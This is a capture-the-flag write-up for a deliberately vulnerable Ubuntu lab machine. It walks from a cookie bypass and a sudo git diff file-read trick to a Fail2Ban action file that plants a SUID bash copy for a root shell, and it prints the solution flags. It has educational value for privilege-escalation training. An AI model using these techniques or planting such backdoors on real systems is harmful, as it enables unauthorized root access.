🚩
🏁
🧑‍💻
उद्यम
CTF Writeup · February 2026 ·

UDYAMA
उद्यम

Persistence · Privilege Escalation · Root

Difficulty
Intermediate → Advanced
Flags
2 (User + Root)
Platform
Ubuntu · VirtualBox OVA
Category
Linux PrivEsc
Release
February 2026
Download
archive.org/details/Udyama

"उद्यमेन हि सिध्यन्ति कार्याणि न मनोरथैः।"
"Tasks are accomplished through effort, not mere wishes."

Scroll to begin
01 — Overview

About Udyama

The Name

Udyama (उद्यम) is a Sanskrit word meaning effort, enterprise, and determination. The name is the hint — success on this machine requires persistence. You will be locked out. You will be banned. You will have to try again. That is by design.

Why I Created It

I wanted to build a CTF that feels like a real system under attack. Not a puzzle with a hidden file. A machine with Fail2Ban active, deliberate misconfigs, and escalation paths that reward careful enumeration over brute force.

What Makes It Unique

The Fail2Ban ban mechanic is central to the challenge. Being banned is not an obstacle to work around — it is the trigger that executes the malicious payload as root. Understanding that flips the entire challenge.

Creation Process

Built on Ubuntu Linux, exported as a VirtualBox OVA. Added deliberate misconfigurations, configured Fail2Ban with a malicious action file, sanitized logs and shell histories, placed flags, tested balance between difficulty and solvability.

Linux Administration
Privilege Escalation
Persistence & Access
Incident Response
VM Packaging
Fail2Ban Abuse
02 — Walkthrough

Full Exploitation Path

exploitation-summary.txt
  Exploitation Path Summary
  ─────────────────────────────────────────────────────────────────

  1. Discover hidden web page    →  http://target/hidden/secret.html
  2. Cookie manipulation (0→1)   →  Unlock SSH credentials
  3. SSH initial access           →  ssh ctfplayer@UbuntuCTF
  4. sudo git diff leak           →  Read /root/flag.txt  ★ FLAG 1
  5. Inspect Fail2Ban action      →  Discover malicious payload
  6. Trigger Fail2Ban ban         →  Execute payload as root
  7. Wait for ban expiry          →  Patience is the key
  8. /tmp/rootbash -p             →  Root shell  ★ FLAG 2
01
Reconnaissance — Hidden Page Discovery
Web Enumeration
RECON ▾

Begin with standard web enumeration. A hidden page is accessible without any fuzzing tool — but directory brute-forcing confirms it exists. Navigate to:

browser
http://target/hidden/secret.html

The page contains a clue left by the machine's administrator — hinting that:

→ Fail2Ban is active and watching SSH login attempts.
→ A custom action configuration has been installed.
→ Something unusual has been added to the action definitions.

Take note of this. It tells you exactly where to look once you have a low-privileged shell. Next — inspect the browser cookies.

02
Cookie Manipulation — Unlock SSH Credentials
Client-Side Access Control Bypass
WEB ▾

Open Developer Tools on the hidden page. You will find a cookie controlling access to restricted content:

browser cookie
# Original cookie
Cookie:  admin=0

# Change to:
Cookie:  admin=1

Three ways to do this:

options
# Option A — Browser DevTools
F12 → Application → Cookies → double-click value → change 0 to 1 → refresh

# Option B — Burp Suite
Intercept GET request → modify Cookie header → forward

# Option C — curl
curl -s --cookie "admin=1" http://target/hidden/secret.html

The page now reveals SSH credentials. Never trust client-side access controls.

03
Initial Access — SSH Login
Low-Privilege Shell
ACCESS ▾

Using the credentials revealed by the cookie manipulation:

terminal
ssh ctfplayer@UbuntuCTF

# Verify access
$ whoami
ctfplayer

$ id
uid=1001(ctfplayer) gid=1001(ctfplayer) groups=1001(ctfplayer)

You now have a low-privileged shell. Next: enumerate sudo privileges.

04
Flag 1 — Git Diff File Leak
Sudo Misconfiguration Abuse
PRIVESC ▾

Enumerate sudo privileges immediately after login:

terminal
$ sudo -l
User ctfplayer may run the following commands:
    (root) NOPASSWD: /usr/bin/git diff

sudo git diff is extremely dangerous. When passed /dev/null as one argument and a protected file as the other, it prints the entire contents of that file as root.

exploit
sudo git diff /dev/null /root/flag.txt

diff --git a/dev/null b/root/flag.txt
index 0000000..e69de29
--- /dev/null
+++ b/root/flag.txt
@@ -0,0 +1 @@
+FLAG{search_whatis_fail2ban}
🚩
Flag 1 — User Flag Captured
FLAG{search_whatis_fail2ban}

The flag name is a nudge — research what Fail2Ban is and how its action files work. The next step exploits exactly that.

05
Enumeration — Inspect the Malicious Fail2Ban Action
Discovery of Root Payload
PRIVESC ▾

Fail2Ban action files live in /etc/fail2ban/action.d/. A custom action file has been installed: custom.conf. Use the same sudo git diff trick:

inspect
sudo git diff /etc/fail2ban/action.d/custom.conf

+[Definition]
+actionstart =
+actionstop  =
+actioncheck =
+actionban   = cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
+actionunban =

Analysis: The actionban directive runs as ROOT whenever Fail2Ban bans an IP address. The malicious payload:

payload
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash

# This command:
# 1. Copies /bin/bash to /tmp/rootbash
# 2. Sets the SUID bit (4755) — runs as owner (root) for any user

Once this fires, any user can invoke /tmp/rootbash -p and receive a root shell. The trap is set. Now you need to trigger it.

06
Trigger Fail2Ban — Execute the Malicious Payload
Deliberate SSH Failures
PRIVESC ▾

Fail2Ban monitors SSH login failures. Deliberately fail logins to trigger the ban from your attacker machine:

attacker machine
ssh wronguser@<target-ip>  # attempt 1 — wrong username
ssh wronguser@<target-ip>  # attempt 2
ssh wronguser@<target-ip>  # attempt 3
ssh wronguser@<target-ip>  # attempt 4
ssh wronguser@<target-ip>  # attempt 5  ← ban triggered

# Behind the scenes, Fail2Ban executes as root:
# cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash

⚠ Your IP is now banned. SSH connections will be refused. Wait for the ban duration to expire (typically 60–600 seconds). This is intentional. This is Udyama. This is the effort the machine demands.

07
Reconnect After Ban Expiry
Patience is the Skill
ACCESS ▾

Once the ban period has elapsed, SSH access is restored. Reconnect and verify the SUID binary was created:

terminal
ssh ctfplayer@UbuntuCTF

$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1234567 Feb 2026 /tmp/rootbash
# The 's' in -rws confirms the SUID bit is set. Owned by root.

The SUID bit is confirmed. You are ready to escalate.

08
Privilege Escalation — Root Shell via SUID Bash
euid=0 Achieved
ROOT ▾

The -p flag instructs bash to run in privileged mode, preserving the effective UID of the binary owner (root) rather than dropping it:

root shell
$ /tmp/rootbash -p

rootbash-5.1#

rootbash-5.1# whoami
root

rootbash-5.1# id
uid=1001(ctfplayer) gid=1001(ctfplayer) euid=0(root) egid=0(root)

Effective UID = 0. You are root.

09
Flag 2 — Root Flag Captured
Challenge Complete
ROOT ▾
root
rootbash-5.1# cat /root/flag2.txt
FLAG{root_shell_success}
🏁
Flag 2 — Root Flag Captured
FLAG{root_shell_success}

Udyama is complete.

03 — Flags

Captured Flags

🚩
Flag 1 — User Flag
FLAG{search_whatis_fail2ban}
🏁
Flag 2 — Root Flag
FLAG{root_shell_success}

Exploitation Summary

# Step Method
1Hidden page discoveryhttp://target/hidden/secret.html
2Cookie manipulation (0 → 1)DevTools / Burp / curl
3SSH login with leaked credsssh ctfplayer@UbuntuCTF
4Leak flag.txt → FLAG 1sudo git diff /dev/null /root/flag.txt
5Inspect Fail2Ban action filesudo git diff /etc/fail2ban/action.d/custom.conf
6Trigger ban → execute payloadDeliberate SSH failures
7Wait for ban expiryPatience
8Escalate to root shell/tmp/rootbash -p
9Read final flag → FLAG 2cat /root/flag2.txt
04 — Lessons Learned

What This Machine Teaches

01

Never Trust Client-Side Access Controls

A cookie value of 0 vs 1 is trivially bypassed using DevTools or Burp. Always enforce access restrictions server-side, never in a cookie value that the client can modify freely.

02

sudo git diff Is Dangerous

Any command that can read arbitrary files when run as root is a privilege escalation vector. git diff with /dev/null effectively becomes a file reader. Always audit sudo rules carefully — seemingly harmless commands can be lethal.

03

Fail2Ban Action Files Run as Root

If an attacker can write to or influence action files, they can execute arbitrary commands with root privileges on every ban event. The banaction fires automatically — making it a powerful persistence and escalation mechanism.

04

SUID Binaries Are Powerful

A SUID copy of bash grants an instant root shell via bash -p. Never allow untrusted users to create SUID files in world-writable directories like /tmp. Monitor for SUID changes in your incident response procedures.

05

Persistence Pays Off

Being banned and locked out is not the end — it is part of the challenge. Udyama (उद्यम) means effort. The machine rewards those who understand the mechanics and keep trying. The ban itself is the exploit trigger.